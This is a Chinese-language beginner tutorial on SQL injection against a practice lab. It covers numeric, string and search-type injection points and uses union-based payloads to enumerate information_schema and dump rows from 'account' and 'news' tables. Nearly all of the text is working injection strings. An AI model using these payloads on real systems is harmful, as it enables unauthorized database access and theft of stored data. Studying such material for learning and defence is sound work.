1. 程式人生 > >SQL注入靶場實戰-小白入門

SQL注入靶場實戰-小白入門

[toc] # SQL注入 ## 數字型 ### 1.測試有無測試點 ``` and 1=1,and 1=2 ``` ### 2.order by 語句判斷欄位長,查出欄位為3 * ==order by 語句用於根據指定的列對結果集進行排序== * ==order by後可以加列名,也可以加數字(代表第幾列)== ``` id = 1 order by 3(數字) //返回正常 id = 1 order by 4(數字) //返回異常 //說明欄位長為3 ``` ![](https://img2020.cnblogs.com/blog/1553647/202104/1553647-20210401000452225-1977108373.png) ### 3.猜出欄位位(必須與內部欄位數一致)(用union聯合查詢查看回顯點為2,3) ``` id= -1 union select 1,2,3 ``` ![](https://img2020.cnblogs.com/blog/1553647/202104/1553647-20210401000554600-1145755557.png) ### 4.猜資料庫名,使用者 ``` id =-1 union select 1,database(),user() ``` ![](https://img2020.cnblogs.com/blog/1553647/202104/1553647-20210401000643648-340917711.png) ### 5.聯合查詢(group_concat())點代表下一級,猜解當前資料庫pentest中所有的表名。 ``` id= -1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() ``` ![](https://img2020.cnblogs.com/blog/1553647/202104/1553647-20210401000711946-743118620.png) ### 6.猜列名( account 表和 news 表) ``` id= -1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='account' ``` ![](https://img2020.cnblogs.com/blog/1553647/202104/1553647-20210401000733278-1334947241.png) ``` id= -1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='news' ``` ![](https://img2020.cnblogs.com/blog/1553647/202104/1553647-20210401000749449-1599243434.png) ### 7.查詢表中的資料 ``` id= -1 union select 1,group_concat(id,'--',title,'--',content),3 from news limit 0,1 ``` ![](https://img2020.cnblogs.com/blog/1553647/202104/1553647-20210401000804726-1906448698.png) ``` id= -1 union select 1,group_concat(Id,'--',rest,'--',own),3 from account limit 0,1 ``` ![](https://img2020.cnblogs.com/blog/1553647/202104/1553647-20210401000818359-1454936445.png) [^limit用法]: limit後的第一個引數是輸出記錄的初始位置,第二個引數是偏移量,偏移多少,輸出的條目就是多少。例如:一張表名為ids,只有id一列:id:1,2,3,4........100 執行語句 `SELECT * FROM ids limit 10, 1` 就會輸出11. [^union用法]: 用於連線兩個及以上的select語句的結果組合到一個結果中。本文中因為前面id = -1時內容為空(所以只要取內容為空的頁面即可== id不取0,1,2就行),故只讀取後面語句的結果 --- ## 字元型 ### 1.判斷是否存在注入 ``` 1' or '1'='1 //返回正常 1' or '1'='2 //返回異常 ``` ### 2.接下來利用order by判斷欄位長,帶入SQL查詢語句可直接查詢出資料(查詢語句和數字型一樣) ``` 1' order by 3# //返回正常 1' order by 4# //返回異常 ``` ==//注意#號用途:#起註釋作用,會註釋掉後面的' 單行註釋還可用-- (--後面需加一個空格)== ==//注意後面的SQL查詢語句末尾都得加一個#== --- ## 搜尋型 ### 1.搜尋型需要多閉合一個%,其他都與前面類似 * 首先判斷注入點 ``` 1%' or 1=1# 1%' or 1=2# ``` ==下面就和前面數字型步驟一樣,帶入查詢語句即可== ``` 1%' union select 1,database(),user()# //比如這裡查詢資料庫名和使用者 ```